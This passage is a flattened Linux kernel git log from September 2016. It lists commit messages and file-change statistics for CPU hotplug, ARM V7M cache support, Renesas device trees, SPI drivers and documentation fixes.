http://lkml.kernel.org/r/20160818125731.27256-3-bigeasy@linutronix.de Signed-off-by: Thomas Gleixner include/linux/cpuhotplug.h | 1 + include/linux/relay.h | 6 +++++ kernel/cpu.c | 6 +++++ kernel/relay.c | 58 +++++++++++----------------------------------- 4 files changed, 26 insertions(+), 45 deletions(-) commit 017c59c042d01fc84cae7a8ea475861e702c77ab Author: Akash Goel Date: Fri Sep 2 21:47:38 2016 +0200 relay: Use per CPU constructs for the relay channel buffer pointers relay essentially needs to maintain a per CPU array of channel buffer pointers but it manually creates that array. Instead its better to use the per CPU constructs, provided by the kernel, to allocate & access the array of pointer to channel buffers. Signed-off-by: Akash Goel Reviewed-by: Chris Wilson Link: http://lkml.kernel.org/r/1470909140-25919-1-git-send-email-akash.goel@intel.com Signed-off-by: Andrew Morton Signed-off-by: Thomas Gleixner include/linux/relay.h | 17 +++++++----- kernel/relay.c | 74 +++++++++++++++++++++++++++++---------------------- 2 files changed, 52 insertions(+), 39 deletions(-) commit ee1e714b94521b0bb27b04dfd1728ec51b19d4f0 Author: Thomas Gleixner Date: Thu Aug 18 14:57:16 2016 +0200 cpu/hotplug: Remove CPU_STARTING and CPU_DYING notifier All users are converted to state machine, remove CPU_STARTING and the corresponding CPU_DYING. Signed-off-by: Thomas Gleixner Signed-off-by: Sebastian Andrzej Siewior Cc: Peter Zijlstra Cc: rt@linutronix.de Link: http://lkml.kernel.org/r/20160818125731.27256-2-bigeasy@linutronix.de Signed-off-by: Thomas Gleixner arch/sparc/kernel/smp_32.c | 2 -- include/linux/cpu.h | 12 ------------ include/linux/cpuhotplug.h | 1 - kernel/cpu.c | 30 ++---------------------------- tools/testing/radix-tree/linux/cpu.h | 13 ------------- 5 files changed, 2 insertions(+), 56 deletions(-) commit f27792f5b7e0ba8407fcdeabb5db778fe929ab78 Author: Jan Kara Date: Tue Sep 6 18:04:40 2016 +0200 udf: Remove useless check in udf_adinicb_write_begin() As Al properly points out, len is guaranteed to be smaller than PAGE_SIZE when we reach udf_adinicb_write_begin() as otherwise we would have converted the file to the normal format. Reported-by: Al Viro Signed-off-by: Jan Kara fs/udf/file.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit f8430eae9f1b439154dbe8bd77d697c4cece145b Author: Joao Pinto Date: Tue Aug 9 16:49:37 2016 +0100 PCI/MSI: Enable PCI_MSI_IRQ_DOMAIN support for ARC Add ARC as an arch that supports PCI_MSI_IRQ_DOMAIN and add generation of msi.h in the ARC arch. Signed-off-by: Joao Pinto Signed-off-by: Bjorn Helgaas Acked-by: Vineet Gupta arch/arc/include/asm/Kbuild | 1 + drivers/pci/Kconfig | 2 +- 2 files changed, 2 insertions(+), 1 deletion(-) commit d36bbab661d9da8dec97acd2d9647e86c70187e8 Author: Jonathan Corbet Date: Tue Sep 6 07:22:03 2016 -0600 docs: Don't format internal MPT docs This is the driver API document, so the internal stuff is just noise here. Signed-off-by: Jonathan Corbet Documentation/driver-api/message-based.rst | 18 ------------------ 1 file changed, 18 deletions(-) commit 5e995786850e78b7950f6979a6bdd3990abc89cd Author: Jonathan Corbet Date: Tue Sep 6 07:15:24 2016 -0600 docs: split up serial-interfaces.rst It never made sense to keep these documents together; move each into its own file. Drop the section numbering on hsi.txt on its way to its own file. Suggested-by: Sebastian Reichel Signed-off-by: Jonathan Corbet Documentation/driver-api/hsi.rst | 88 ++++++++++++ Documentation/driver-api/i2c.rst | 46 ++++++ Documentation/driver-api/index.rst | 4 +- Documentation/driver-api/serial-interfaces.rst | 189 ------------------------- Documentation/driver-api/spi.rst | 53 +++++++ 5 files changed, 190 insertions(+), 190 deletions(-) commit b828f960215f02e5d2c88bbd27565c694254a15a Author: Mark Rutland Date: Fri Sep 2 10:35:18 2016 +0100 ARM: 8611/1: l2x0: add PMU support The L2C-220 (AKA L220) and L2C-310 (AKA PL310) cache controllers feature a Performance Monitoring Unit (PMU), which can be useful for tuning and/or debugging. This hardware is always present and the relevant registers are accessible to non-secure accesses. Thus, no special firmware interface is necessary. This patch adds support for the PMU, plugging into the usual perf infrastructure. The overflow interrupt is not always available (e.g. on RealView PBX A9 it is not wired up at all), and the hardware counters saturate, so the driver does not make use of this. Instead, the driver periodically polls and reset counters as required to avoid losing events due to saturation. Signed-off-by: Mark Rutland Acked-by: Pawel Moll Tested-by: Kim Phillips Cc: Russell King Cc: Will Deacon Signed-off-by: Russell King arch/arm/include/asm/hardware/cache-l2x0.h | 19 + arch/arm/mm/Kconfig | 7 + arch/arm/mm/Makefile | 1 + arch/arm/mm/cache-l2x0-pmu.c | 584 +++++++++++++++++++++++++++++ arch/arm/mm/cache-l2x0.c | 6 + include/linux/cpuhotplug.h | 1 + 6 files changed, 618 insertions(+) commit 8e02676ffa6906a97de7f90772e9cdcb75ea6743 Author: Torgue Alexandre Date: Wed Aug 31 09:14:14 2016 +0100 ARM: 8610/1: V7M: Add dsb before jumping in handler mode According to ARM AN321 (section 4.12): "If the vector table is in writable memory such as SRAM, either relocated by VTOR or a device dependent memory remapping mechanism, then architecturally a memory barrier instruction is required after the vector table entry is updated, and if the exception is to be activated immediately" Reviewed-by: Vladimir Murzin Signed-off-by: Maxime Coquelin Signed-off-by: Alexandre TORGUE Signed-off-by: Russell King arch/arm/mm/proc-v7m.S | 1 + 1 file changed, 1 insertion(+) commit 6a8146f420be2e59cf511c5a046b762142ff201d Author: Jonathan Austin Date: Tue Aug 30 17:34:00 2016 +0100 ARM: 8609/1: V7M: Add support for the Cortex-M7 processor Cortex-M7 is a new member of the V7M processor family that adds, among other things, caches over the features available in Cortex-M4. This patch adds support for recognising the processor at boot time, and make use of recently introduced cache functions. Signed-off-by: Jonathan Austin Signed-off-by: Vladimir Murzin Tested-by: Andras Szemzo Tested-by: Joachim Eastwood Tested-by: Alexandre TORGUE Signed-off-by: Russell King arch/arm/mm/proc-v7m.S | 56 ++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 56 insertions(+) commit c3a6bcbe6a9e7e0d66c279e4a47aa07327040b38 Author: Jonathan Austin Date: Tue Aug 30 17:32:42 2016 +0100 ARM: 8608/1: V7M: Indirect proc_info construction for V7M CPUs This patch copies the method used for V7A/R CPUs to specify differing processor info for different cores. This patch differentiates Cortex-M3 and Cortex-M4 and leaves a fallback case for any other V7M processors. Signed-off-by: Jonathan Austin Signed-off-by: Vladimir Murzin Tested-by: Andras Szemzo Tested-by: Joachim Eastwood Tested-by: Alexandre TORGUE Signed-off-by: Russell King arch/arm/mm/proc-v7m.S | 46 +++++++++++++++++++++++++++++++++++----------- 1 file changed, 35 insertions(+), 11 deletions(-) commit bc0ee9d24ad21a5c2b5944f66623a02e9c8831aa Author: Jonathan Austin Date: Tue Aug 30 17:31:22 2016 +0100 ARM: 8607/1: V7M: Wire up caches for V7M processors with cache support. This patch does the plumbing required to invoke the V7M cache code added in earlier patches in this series, although there is no users for that yet. In order to honour the I/D cache disable config options, this patch changes the mechanism by which the CCR is set on boot, to be more like V7A/R. Signed-off-by: Jonathan Austin Signed-off-by: Vladimir Murzin Tested-by: Andras Szemzo Tested-by: Joachim Eastwood Tested-by: Alexandre TORGUE Signed-off-by: Russell King arch/arm/include/asm/glue-cache.h | 4 ---- arch/arm/kernel/head-nommu.S | 16 +++++++++++++++- arch/arm/mm/Kconfig | 10 +++++++--- arch/arm/mm/Makefile | 2 ++ arch/arm/mm/proc-v7m.S | 5 ++--- 5 files changed, 26 insertions(+), 11 deletions(-) commit 9a1af5f2206bd303ed201c6895c42ac3ac120a20 Author: Vladimir Murzin Date: Tue Aug 30 17:30:02 2016 +0100 ARM: 8606/1: V7M: introduce cache operations This commit implements the cache operation for V7M. It is based on V7 counterpart and differs as follows: - cache operations are memory mapped - only Thumb instruction set is supported - we don't handle user access faults Signed-off-by: Vladimir Murzin Tested-by: Andras Szemzo Tested-by: Joachim Eastwood Tested-by: Alexandre TORGUE Signed-off-by: Russell King arch/arm/mm/cache-v7m.S | 453 ++++++++++++++++++++++++++++++++++++++++++++++ arch/arm/mm/proc-macros.S | 16 ++ 2 files changed, 469 insertions(+) commit b2bf482a5099264fb75936b5b552cdf3c247c93a Author: Vladimir Murzin Date: Tue Aug 30 17:28:43 2016 +0100 ARM: 8605/1: V7M: fix notrace variant of save_and_disable_irqs Commit 8e43a905 "ARM: 7325/1: fix v7 boot with lockdep enabled" introduced notrace variant of save_and_disable_irqs to balance notrace variant of restore_irqs; however V7M case has been missed. It was not noticed because cache-v7.S the only place where notrace variant is used. So fix it, since we are going to extend V7 cache routines to handle V7M case too. Signed-off-by: Vladimir Murzin Tested-by: Andras Szemzo Tested-by: Joachim Eastwood Tested-by: Alexandre TORGUE Signed-off-by: Russell King arch/arm/include/asm/assembler.h | 4 ++++ 1 file changed, 4 insertions(+) commit f5a5c89e36d0897b65e4e6bc2f646f75f8074263 Author: Jonathan Austin Date: Tue Aug 30 17:27:19 2016 +0100 ARM: 8604/1: V7M: Add support for reading the CTR with read_cpuid_cachetype() With the addition of caches to the V7M Architecture a new Cache Type Register (CTR) is defined at 0xE000ED7C. This register serves the same purpose as the V7A/R version and accessed via the read_cpuid_cachetype. Signed-off-by: Jonathan Austin Signed-off-by: Vladimir Murzin Tested-by: Andras Szemzo Tested-by: Joachim Eastwood Tested-by: Alexandre TORGUE Signed-off-by: Russell King arch/arm/include/asm/cachetype.h | 15 +++++++++++++++ arch/arm/include/asm/cputype.h | 15 ++++++++++----- arch/arm/kernel/setup.c | 9 +++++---- 3 files changed, 30 insertions(+), 9 deletions(-) commit 296909ee6d9cf98f68a61d5e9774ff5435df2c6a Author: Jonathan Austin Date: Tue Aug 30 17:25:59 2016 +0100 ARM: 8603/1: V7M: Add addresses for mem-mapped V7M cache operations V7M implements cache operations similarly to V7A/R, however all operations are performed via memory-mapped IO instead of co-processor operations. This patch adds register definitions relevant to the V7M ARM architecture's cache architecture. Signed-off-by: Jonathan Austin Signed-off-by: Vladimir Murzin Tested-by: Andras Szemzo Tested-by: Joachim Eastwood Tested-by: Alexandre TORGUE Signed-off-by: Russell King arch/arm/include/asm/v7m.h | 22 ++++++++++++++++++++++ 1 file changed, 22 insertions(+) commit 26150aa96d60298de669e3d81a5b7e132b653ce7 Author: Jonathan Austin Date: Tue Aug 30 17:24:34 2016 +0100 ARM: 8602/1: factor out CSSELR/CCSIDR operations that use cp15 directly Currently we use raw cp15 operations to access the cache setup data. This patch abstracts the CSSELR and CCSIDR accessors out to a header so that the implementation for them can be switched out as we do with other cpu/cachetype operations. Signed-off-by: Jonathan Austin Signed-off-by: Vladimir Murzin Tested-by: Andras Szemzo Tested-by: Joachim Eastwood Tested-by: Alexandre TORGUE Signed-off-by: Russell King arch/arm/include/asm/cachetype.h | 24 ++++++++++++++++++++++++ arch/arm/kernel/setup.c | 7 ++----- 2 files changed, 26 insertions(+), 5 deletions(-) commit 70fc1f547a91c137913a23a0f7a4a89c33930c6a Author: Jonathan Corbet Date: Sat Aug 20 13:24:56 2016 -0600 docs: Pull the HSI documentation together The HSI subsystem documentation was split across hsi.txt and the device-drivers docbook. Now that the latter has been converted to Sphinx, pull in the HSI document so that it's all in one place. Acked-by: Sebastian Reichel Signed-off-by: Jonathan Corbet Documentation/driver-api/serial-interfaces.rst | 82 ++++++++++++++++++++++++-- Documentation/hsi.txt | 75 ----------------------- MAINTAINERS | 2 +- 3 files changed, 79 insertions(+), 80 deletions(-) commit eb69548f5b9b402a1a98f329c3ad789fe57b79d8 Merge: 87171fb 5219f18 Author: Jonathan Corbet Date: Tue Sep 6 08:43:30 2016 -0600 Merge branch 'doc/4.9' into docs-next commit f61f86068cdf7e59de64d430fd3cc907a8e102f2 Merge: 2349f20 23299b8 Author: Jason Cooper Date: Tue Sep 6 14:20:41 2016 +0000 Merge branch 'irqchip/mvebu64' into irqchip/core commit 677f6646533d701c8609b8bcb9304173c11cc194 Author: Thomas Gleixner Date: Tue Sep 6 16:13:48 2016 +0200 cpu/hotplug: Make state names consistent We should have all names in the scheme "[subsys/]facility:state]". Fix the core to comply. Signed-off-by: Thomas Gleixner kernel/cpu.c | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) commit 23299b8c64f8c50e83eb345b835077f3c29588b8 Author: Baruch Siach Date: Mon Sep 5 18:05:13 2016 +0300 dt-bindings: mvebu-odmi: Fix example typo Make the example compatible string match its definition. Signed-off-by: Baruch Siach Reviewed-by: Thomas Petazzoni Link: https://lkml.kernel.org/r/0743fef6fe390bc4ae7cabd15c4836bbed98f7cf.1473087913.git.baruch@tkos.co.il Signed-off-by: Jason Cooper .../bindings/interrupt-controller/marvell,odmi-controller.txt | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 5219f18aaf00f9f9ba572b3817e394043388d4ef Author: Jonathan Corbet Date: Wed Aug 24 16:31:15 2016 -0600 docs: Special-case function-pointer parameters in kernel-doc Add yet another regex to kernel-doc to trap @param() references separately and not produce corrupt RST markup. Signed-off-by: Jonathan Corbet scripts/kernel-doc | 2 ++ 1 file changed, 2 insertions(+) commit ef00028b20481647431ca8bffe5469fb86cf154f Author: Jonathan Corbet Date: Fri Aug 26 07:14:08 2016 -0600 docs: make kernel-doc handle varargs properly As far as I can tell, the handling of "..." arguments has never worked right, so any documentation provided was ignored in favor of "variable arguments." This makes kernel-doc handle "@...:" as documented. It does *not* fix spots in kerneldoc comments that don't follow that convention, but they are no more broken than before. Signed-off-by: Jonathan Corbet scripts/kernel-doc | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit e320d40022128845dfff900422ea9fd69f576c98 Author: Zhi Wang Date: Tue Sep 6 12:04:12 2016 +0800 drm/i915: disable 48bit full PPGTT when vGPU is active Disable 48bit full PPGTT on vGPU too for now. Signed-off-by: Zhi Wang Signed-off-by: Zhenyu Wang Reviewed-by: Joonas Lahtinen Acked-by: Chris Wilson Cc: drm-intel-fixes@lists.freedesktop.org Signed-off-by: Jani Nikula Link: http://patchwork.freedesktop.org/patch/msgid/20160906040412.1274-3-zhenyuw@linux.intel.com drivers/gpu/drm/i915/i915_gem_gtt.c | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) commit 8ef89995c735f978d5dfcb3ca6bce70d41728c91 Author: Ping Gao Date: Tue Sep 6 12:04:11 2016 +0800 drm/i915: enable vGPU detection for all vGPU capability is handled by GVT-g host driver, not needed to put extra HW check for vGPU detection. And we'll actually support vGPU from BDW. Signed-off-by: Ping Gao Signed-off-by: Zhenyu Wang Reviewed-by: Joonas Lahtinen Acked-by: Chris Wilson Cc: drm-intel-fixes@lists.freedesktop.org Signed-off-by: Jani Nikula Link: http://patchwork.freedesktop.org/patch/msgid/20160906040412.1274-2-zhenyuw@linux.intel.com drivers/gpu/drm/i915/i915_vgpu.c | 3 --- 1 file changed, 3 deletions(-) commit 9d9cce7f10dc8d7a5fc6ef4e537e17664234605a Author: Lorenzo Stoakes Date: Tue Aug 23 09:00:45 2016 +0100 x86: fix memory ranges in mm documentation This is a trivial fix to correct upper bound addresses to always be inclusive. Previously, the majority of ranges specified were inclusive with a small minority specifying an exclusive upper bound. This patch fixes this inconsistency. Signed-off-by: Lorenzo Stoakes Signed-off-by: Jonathan Corbet Documentation/x86/x86_64/mm.txt | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 2836a2f5bd8516ae3c1a9b8bd76aea2160e5d092 Author: Finn Thain Date: Sat Aug 27 12:29:59 2016 +1000 documentation/scsi: Remove nodisconnect parameter The driver that used the 'nodisconnect' parameter was removed in commit 565bae6a4a8f ("[SCSI] 53c7xx: kill driver"). Related documentation was cleaned up in commit f37a7238d379 ("[SCSI] 53c7xx: fix removal fallout"), except for the remaining two mentions that are removed here. Signed-off-by: Finn Thain Reviewed-by: Geert Uytterhoeven Signed-off-by: Jonathan Corbet Documentation/kernel-parameters.txt | 2 -- Documentation/scsi/scsi-parameters.txt | 2 -- 2 files changed, 4 deletions(-) commit c6517b78153a1ffb401d8c3ec329effd3ee19036 Author: Laura Abbott Date: Fri Sep 2 15:42:24 2016 -0700 doc: ioctl: Add some clarifications to botching-up-ioctls - The guide currently says to pad the structure to a multiple of 64-bits. This is not necessary in cases where the structure contains no 64-bit types. Clarify this concept to avoid unnecessary padding. - When using __u64 to hold user pointers, blindly trying to do a cast to a void __user * may generate a warning on 32-bit systems about a cast from an integer to a pointer of different size. There is a macro to deal with this which hides an ugly double cast. Add a reference to this macro. Signed-off-by: Laura Abbott Acked-by: Arnd Bergmann Signed-off-by: Jonathan Corbet Documentation/ioctl/botching-up-ioctls.txt | 13 ++++++++----- 1 file changed, 8 insertions(+), 5 deletions(-) commit 05f9033f74798aa27569ad7866b952ff51f83c26 Author: Srinivas Kandagatla Date: Tue Sep 6 10:57:43 2016 +0100 ASoC: qcom: apq8016-sbc: add support to routing via DT This patch adds support to allow audio routing via Device Tree. This is mostly used to specify MICBIAS and other power supplies relation. Signed-off-by: Srinivas Kandagatla Signed-off-by: Mark Brown .../devicetree/bindings/sound/qcom,apq8016-sbc.txt | 30 ++++++++++++++++++++++ sound/soc/qcom/apq8016_sbc.c | 9 +++++++ 2 files changed, 39 insertions(+) commit 1190300d03516d00f68abcb01bfab00835bc0ac5 Author: Srinivas Kandagatla Date: Tue Sep 6 10:57:42 2016 +0100 ASoC: qcom: apq8016-sbc: add board specific dapm mic widgets This patch adds support to board specific dapm mic widgets so that these can be used to specify proper connections of various micbias supported by the board and SOC. Signed-off-by: Srinivas Kandagatla Signed-off-by: Mark Brown sound/soc/qcom/apq8016_sbc.c | 11 +++++++++++ 1 file changed, 11 insertions(+) commit 0baa64d8d2f0dc7ef006b6f7669cb2c7862899da Author: Vladimir Barinov Date: Wed Aug 31 13:03:56 2016 +0300 arm64: dts: h3ulcb: enable USB2 PHY of channel 1 This supports USB2 PHY channel #1 on H3ULCB board Signed-off-by: Vladimir Barinov Reviewed-by: Geert Uytterhoeven Signed-off-by: Simon Horman arch/arm64/boot/dts/renesas/r8a7795-h3ulcb.dts | 12 ++++++++++++ 1 file changed, 12 insertions(+) commit 4bdb25d0f1b437ac8d58ce8007a4b4ae33a4533a Author: Vladimir Barinov Date: Wed Aug 31 13:03:48 2016 +0300 arm64: dts: h3ulcb: enable WDT This supports watchdog timer for H3ULCB board Signed-off-by: Vladimir Barinov Reviewed-by: Geert Uytterhoeven Signed-off-by: Simon Horman arch/arm64/boot/dts/renesas/r8a7795-h3ulcb.dts | 5 +++++ 1 file changed, 5 insertions(+) commit b00d23f71f2cbca63d4d8ddde15b39f18fccd7a8 Author: Vladimir Barinov Date: Wed Aug 31 13:03:36 2016 +0300 arm64: dts: h3ulcb: enable EXTALR clk This enables EXTALR clock that can be used for the watchdog. Signed-off-by: Vladimir Barinov Reviewed-by: Geert Uytterhoeven Signed-off-by: Simon Horman arch/arm64/boot/dts/renesas/r8a7795-h3ulcb.dts | 4 ++++ 1 file changed, 4 insertions(+) commit eb3f0f199fc48a813ee8f22212c91d5f8859ff79 Author: Vladimir Barinov Date: Wed Aug 31 13:03:29 2016 +0300 arm64: dts: h3ulcb: enable I2C2 This supports I2C2 bus on H3ULCB board Signed-off-by: Vladimir Barinov Reviewed-by: Geert Uytterhoeven Signed-off-by: Simon Horman arch/arm64/boot/dts/renesas/r8a7795-h3ulcb.dts | 12 ++++++++++++ 1 file changed, 12 insertions(+) commit 144bf6ccb13fc661a2d18ae8b13f25e61015331b Author: Vladimir Barinov Date: Wed Aug 31 13:02:59 2016 +0300 arm64: dts: h3ulcb: enable EthernetAVB This supports Ethernet AVB on H3ULCB board Signed-off-by: Vladimir Barinov Reviewed-by: Geert Uytterhoeven Signed-off-by: Simon Horman arch/arm64/boot/dts/renesas/r8a7795-h3ulcb.dts | 32 ++++++++++++++++++++++++++ 1 file changed, 32 insertions(+) commit af111bce5437c6d4174434c9f5002f463f83d651 Author: Vladimir Barinov Date: Wed Aug 31 13:02:49 2016 +0300 arm64: dts: h3ulcb: enable SCIF clk and pins This enables the external crystal for the SCIF_CLK and its pinctrl, to be used by the Baud Rate Generator for External Clock (BRG) on (H)SCIF. Signed-off-by: Vladimir Barinov Reviewed-by: Geert Uytterhoeven Signed-off-by: Simon Horman arch/arm64/boot/dts/renesas/r8a7795-h3ulcb.dts | 13 +++++++++++++ 1 file changed, 13 insertions(+) commit b10690d11fead70652c2544098e41436258ec443 Author: Vladimir Barinov Date: Wed Aug 31 13:02:39 2016 +0300 arm64: dts: h3ulcb: initial device tree Add the initial device tree for the R8A7795 SoC based H3ULCB low cost board. This commit supports the following peripherals: - SCIF (console) Signed-off-by: Vladimir Barinov Reviewed-by: Geert Uytterhoeven Signed-off-by: Simon Horman arch/arm64/boot/dts/renesas/Makefile | 2 +- arch/arm64/boot/dts/renesas/r8a7795-h3ulcb.dts | 51 ++++++++++++++++++++++++++ 2 files changed, 52 insertions(+), 1 deletion(-) commit f1d404faed75572de2ae22312aaa519c897cdfea Author: Vladimir Barinov Date: Wed Aug 31 13:02:21 2016 +0300 arm64: dts: h3ulcb: add H3ULCB board DT bindings Add H3ULCB Device tree bindings Documentation, listing it as a supported board. Signed-off-by: Vladimir Barinov Acked-by: Rob Herring Reviewed-by: Geert Uytterhoeven Signed-off-by: Simon Horman Documentation/devicetree/bindings/arm/shmobile.txt | 2 ++ 1 file changed, 2 insertions(+) commit f826473520e7aba2e416f79a3acbd6da3921e0a2 Author: Geert Uytterhoeven Date: Wed Aug 31 11:31:55 2016 +0200 arm64: dts: r8a7795: Add SoC-specific compatible property to audio-dmac nodes The audio-dmac nodes used the generic compatible property only. Add the SoC-specific one, to make it future proof. Signed-off-by: Geert Uytterhoeven Signed-off-by: Simon Horman arch/arm64/boot/dts/renesas/r8a7795.dtsi | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) commit aadc4ee00a0ec4de5e4aea9f879ab738fd34d0e1 Author: Laurent Pinchart Date: Tue Aug 9 15:29:12 2016 +0300 arm64: dts: r8a7795: renesas: salvator-x: Enable DU Only the VGA output is supported for now. Signed-off-by: Laurent Pinchart Reviewed-by: Geert Uytterhoeven Signed-off-by: Simon Horman arch/arm64/boot/dts/renesas/r8a7795-salvator-x.dts | 44 ++++++++++++++++++++++ 1 file changed, 44 insertions(+) commit a001a07fe851ce69fcbe85ee25e292b04624b154 Author: Laurent Pinchart Date: Tue Aug 9 15:29:11 2016 +0300 arm64: dts: renesas: r8a7795: Add DU device to DT Add the DU device to r8a7795.dtsi in a disabled state. Signed-off-by: Laurent Pinchart Reviewed-by: Geert Uytterhoeven Signed-off-by: Simon Horman arch/arm64/boot/dts/renesas/r8a7795.dtsi | 46 ++++++++++++++++++++++++++++++++ 1 file changed, 46 insertions(+) commit 9f8573e38a0b377aa092db96be140be4d59a7fae Author: Laurent Pinchart Date: Tue Aug 9 15:29:10 2016 +0300 arm64: dts: renesas: r8a7795: Add VSP instances The r8a7795 has 9 VSP instances. Signed-off-by: Laurent Pinchart Signed-off-by: Simon Horman arch/arm64/boot/dts/renesas/r8a7795.dtsi | 90 ++++++++++++++++++++++++++++++++ 1 file changed, 90 insertions(+) commit 52cd078325e5476896dd7027c8398145955489e9 Author: Laurent Pinchart Date: Tue Aug 9 15:29:09 2016 +0300 arm64: dts: renesas: r8a7795: Add FCPV nodes The FCPs handle the interface between various IP cores and memory. Add the instances related to the VSP2s. Signed-off-by: Laurent Pinchart Signed-off-by: Simon Horman arch/arm64/boot/dts/renesas/r8a7795.dtsi | 63 ++++++++++++++++++++++++++++++++ 1 file changed, 63 insertions(+) commit 0b4dca78f0f7c8fb1e9ccc06a173500f3a27d0fd Author: Yoshihiro Shimoda Date: Thu Jul 21 19:47:00 2016 +0900 arm64: dts: r8a7795: salvator-x: enable HSUSB Signed-off-by: Yoshihiro Shimoda Signed-off-by: Simon Horman arch/arm64/boot/dts/renesas/r8a7795-salvator-x.dts | 4 ++++ 1 file changed, 4 insertions(+) commit 34ccd788a38983249727b081b2bf92ab54bfa27c Author: Yoshihiro Shimoda Date: Thu Jul 21 19:46:59 2016 +0900 arm64: dts: r8a7795: salvator-x: enable USB 2.0 Host channel 0 We have to set SW15 to pin 2-3 side on the board before we use CN9 as USB host or peripheral. Signed-off-by: Yoshihiro Shimoda Signed-off-by: Simon Horman arch/arm64/boot/dts/renesas/r8a7795-salvator-x.dts | 8 ++++++++ 1 file changed, 8 insertions(+) commit a905b72ce9216a501d8239a1f1790817b5645ef9 Author: Yoshihiro Shimoda Date: Thu Jul 21 19:46:58 2016 +0900 arm64: dts: r8a7795: salvator-x: enable usb2_phy of channel 0 This patch also adds a regulator node for USB2.0 to handle VBUS on/off by the phy-rcar-gen3-usb2 driver. Signed-off-by: Yoshihiro Shimoda Signed-off-by: Simon Horman arch/arm64/boot/dts/renesas/r8a7795-salvator-x.dts | 24 ++++++++++++++++++++++ 1 file changed, 24 insertions(+) commit 71581a1507e642bbc6f698a3f43355552ee8056f Author: Heiner Kallweit Date: Sun Sep 4 09:57:18 2016 +0200 spi: fsl-espi: remove unneeded check in fsl_espi_do_trans SPI core takes care that both values are always populated. Signed-off-by: Heiner Kallweit Signed-off-by: Mark Brown drivers/spi/spi-fsl-espi.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit a755af52f8ef278985d1475070c0647f2e6e47a7 Author: Heiner Kallweit Date: Sun Sep 4 09:56:57 2016 +0200 spi: fsl-espi: simplify fsl_espi_setup_transfer Simplify fsl_espi_setup_transfer a little. Signed-off-by: Heiner Kallweit Signed-off-by: Mark Brown drivers/spi/spi-fsl-espi.c | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) commit daae020ce9fe4324322c6ed18a840234a05d76b3 Author: Heiner Kallweit Date: Sun Sep 4 09:53:01 2016 +0200 spi: fsl-espi: remove unused elements n_rx and n_tx in struct fsl_espi_transfer Both elements are not used, so remove them. Signed-off-by: Heiner Kallweit Signed-off-by: Mark Brown drivers/spi/spi-fsl-espi.c | 12 +----------- 1 file changed, 1 insertion(+), 11 deletions(-) commit 13b10301b858e355613bfc6dc297580bf34d3fb5 Author: Matthias Seidel Date: Sun Sep 4 02:04:49 2016 +0200 spi: dw: fix multiple slaves with different baudrates Add current master clock to dws struct and compare it against the requestedtransfer speed. Update clock divider only if necessary. Signed-off-by: Matthias Seidel Signed-off-by: Mark Brown drivers/spi/spi-dw.c | 15 +++++++-------- drivers/spi/spi-dw.h | 1 + 2 files changed, 8 insertions(+), 8 deletions(-) commit d2422e1088128f7c7c93681dde7bafe4e52e9255 Author: Yoshihiro Shimoda Date: Thu Jul 21 19:46:57 2016 +0900 arm64: dts: r8a7795: Add HSUSB device node Signed-off-by: Yoshihiro Shimoda Signed-off-by: Simon Horman arch/arm64/boot/dts/renesas/r8a7795.dtsi | 17 +++++++++++++++++ 1 file changed, 17 insertions(+) commit dcdca4d53845d1fdf3f7f25e7db709886facea00 Author: Wolfram Sang Date: Thu Jul 21 19:01:44 2016 +0200 arm64: dts: r8a7795: set maximum frequency for SDHI clocks Define the upper limit otherwise the driver cannot utilize max speeds. Signed-off-by: Wolfram Sang Signed-off-by: Simon Horman arch/arm64/boot/dts/renesas/r8a7795.dtsi | 4 ++++ 1 file changed, 4 insertions(+) commit bfb31459342701e0017f790ce675fcaf4df0d1c9 Author: Kieran Bingham Date: Thu Jun 30 14:32:43 2016 +0100 arm64: dts: r8a7795: add FDP1 device nodes Reviewed-by: Geert Uytterhoeven Reviewed-by: Laurent Pinchart Signed-off-by: Kieran Bingham Signed-off-by: Simon Horman arch/arm64/boot/dts/renesas/r8a7795.dtsi | 27 +++++++++++++++++++++++++++ 1 file changed, 27 insertions(+) commit 28fc813153a4702cdcad98a2a53b920eb7d66061 Author: Kieran Bingham Date: Thu Jun 30 14:32:42 2016 +0100 arm64: dts: r8a7795: add FCPF device nodes Provide nodes for the FCP devices dedicated to the FDP device channels. Reviewed-by: Geert Uytterhoeven Signed-off-by: Kieran Bingham Signed-off-by: Simon Horman arch/arm64/boot/dts/renesas/r8a7795.dtsi | 21 +++++++++++++++++++++ 1 file changed, 21 insertions(+) commit 00b992deaa08495ab958da5950c9ebbba27d0ddc Author: Alexander Kuleshov Date: Tue Jul 19 15:54:08 2016 +0600 genirq: No need to mask non trigger mode flags before __irq_set_trigger() Some callers of __irq_set_trigger() masks all flags except trigger mode flags. This is unnecessary, ase __irq_set_trigger() already does this before usage of flags. [ tglx: Moved the flag mask and adjusted comment. Removed the hunk in enable_percpu_irq() as it is required there ] Signed-off-by: Alexander Kuleshov Link: http://lkml.kernel.org/r/20160719095408.13778-1-kuleshovmail@gmail.com Signed-off-by: Thomas Gleixner kernel/irq/chip.c | 1 - kernel/irq/manage.c | 5 ++--- 2 files changed, 2 insertions(+), 4 deletions(-) commit f3f6c61452e28ffdf93b101555546af8ef63def5 Author: Jeeja KP Date: Fri Sep 2 21:49:44 2016 +0530 ALSA: pcm: Fix avail to return error if stream is suspended When the stream is in suspended state some applications wait on "Stream Pipe Error" in response to snd_pcm_avail call to resume the stream. In the current implementation snd_pcm_avail() returns zero when the stream is in suspended state. This causes application to enter in infinite loop for frames to be available. "Stream pipe Error" code is getting returned for read/write call when the stream is in suspended state. Similarly update snd_pcm_avail to return -ESTRPIPE. Signed-off-by: Jeeja KP Signed-off-by: Takashi Iwai sound/core/pcm_native.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) commit c783b91ebdbab67e848889c29dd0611c2b2c9fea Author: Martin Schwidefsky Date: Tue Sep 6 10:46:36 2016 +0200 s390: add assembler include path for vx-insn.h With git commit 0eab11c7e0d30de14a15ccd8269eef238321a8e1 "s390/vx: allow to include vx-insn.h with .include" and an older gcc we get errors like this: {standard input}:6: Error: can't open asm/vx-insn.h for reading: No such file or directory arch/s390/kernel/fpu.c:57: Error: 